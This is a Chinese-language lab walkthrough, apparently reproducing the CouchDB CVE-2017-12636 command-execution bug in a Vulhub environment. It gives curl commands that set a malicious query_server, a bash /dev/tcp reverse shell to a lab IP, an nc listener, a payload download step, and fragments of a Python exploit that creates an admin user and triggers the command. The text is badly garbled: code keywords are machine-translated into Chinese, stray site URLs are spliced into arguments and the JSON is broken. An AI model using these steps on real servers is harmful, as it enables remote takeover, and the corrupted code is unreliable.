漏洞原理:
Apache CouchDB是一个开源数据库,专注于易用性和成为“完全拥抱web的数据库“。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,瑞士信贷(Credit Suisse)用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,cve - 2017 - 12635和cve - 2017 - 12636披露,cve - 2017 - 12636是一个任意命令执行漏洞,我们可以通过配置api修改couchdb的配置query_server,这个配置项在设计,执行视图的时候将被运行。
漏洞复现:
1,新增query_server配置,写入要执行的命令;
curl - x将“http://pppp pppp@靶机ip: 5984/_config query_servers/cmd“- d”“id在/tmp/success"“
红箭头的是自己创建的账号和密码、下面显示我的已经有了。
红箭头指的是自己创建的表
执行EXP反弹外壳:
1。反弹脚本:在家里下面创建个索引。html。添以下内容bash
我在,/dev/tcp/172.16.11.2/9000 0祝辞,1
红箭头指的是本机ip
“type":“user",
“name":“wooyun",
“roles": [“_admin"],
“roles": [],
“password":“wooyun"
}”)
会话。auth=HTTPBasicAuth (wooyun, wooyun)
如果version==1:
会话。把(目标+ (/_config/query_servers/cmd), data=https://www.yisu.com/zixun/command)
:
主机=会话。得到(目标+/_membership) . json () [' all_nodes '] [0]
会话。把(目标+ '/_node/{}/_config/query_servers/cmd .format(主机),data=https://www.yisu.com/zixun/command)
会话。把(目标+/wooyun)
会话。把(目标+/wooyun/测试,data=' https://www.yisu.com/zixun/{" _id ":“wooyuntest”}’)
如果version==1:
会话。帖子(目标+ '/wooyun/_temp_view吗?限制=10,数据=' https://www.yisu.com/zixun/{“语言”:“cmd”、“地图”:“}”)其他
:
session.put(目标+/wooyun/_design/测试,data=' https://www.yisu.com/zixun/{" _id ":“_design/测试”、“观点”:{" wooyun ":{“地图”:“}},“语言”:“cmd”}”)
4。修改经验。py中命令的值为:curl 172.16.11.2:8000 - o/tmp/bashell保存并执行命令python exp.py。
这个时候可以看见HTTP服务成功监听到下载请求
5。再重新打开一个终端,并监听着9000年数控-lnvp监听本9000年地端口
6。修改exp.py中的命令的值为bash/tmp/bashell,保存并执行命令python exp.py,成功获取反弹回来的壳
利用Vulnhub复现漏洞——Couchdb任意命令执行